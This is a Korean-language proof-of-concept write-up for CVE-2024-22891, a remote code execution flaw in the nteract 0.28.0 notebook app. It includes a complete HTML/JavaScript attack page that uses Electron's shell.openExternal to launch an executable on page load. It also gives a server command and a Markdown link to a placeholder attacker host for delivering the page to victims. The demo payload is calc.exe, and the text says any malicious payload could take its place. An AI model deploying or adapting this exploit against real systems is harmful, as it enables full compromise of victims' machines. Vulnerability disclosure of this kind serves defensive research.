
nteract 0.28.0 open redirect을 통한 RCE 익스플로잇
CVE-2024-22891 취약점에 대한 개념 증명(PoC)입니다.
nteract 0.28.0은 Markdown 링크를 통한 Electron webview를 허용하며, 그 결과 원격 코드 실행이 발생합니다.
nteract 0.28.0은 Markdown 링크를 통한 Electron webview를 허용하며, 그 결과 원격 코드 실행이 발생합니다(webPreferences의 nodeIntegration이 true이기 때문).
익스플로잇 설명
단계 1) 공격자는 openExternal() 함수를 사용하여 calc.exe를 실행하기 위한 소스 코드로 서버를 만듭니다.
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
참고: ※ 빠르게 테스트하고 싶다면 공격자 PC에서 다음 코드로 서버를 생성하세요.
$ python -m http.server 80
단계 2) 피해자 시스템에서 nteract 애플리케이션을 실행하고 Markdown 링크를 생성하거나, 공격자의 ipynb 파일을 예제 코드로 공유합니다. 그러면 calc.exe가 실행됩니다.
[Read This] (http://[attcker_adress]/shard_data.html)

파일 공유를 통해 .ipynb 파일을 실행할 때 링크가 표시되지 않을 수 있으므로 주의하세요. 이 calc.exe는 로컬 또는 원격의 모든 악성 페이로드가 될 수 있었으며, 이를 통해 공격자는 피해자 시스템에 대한 완전한 접근 권한을 얻을 수 있었을 것입니다.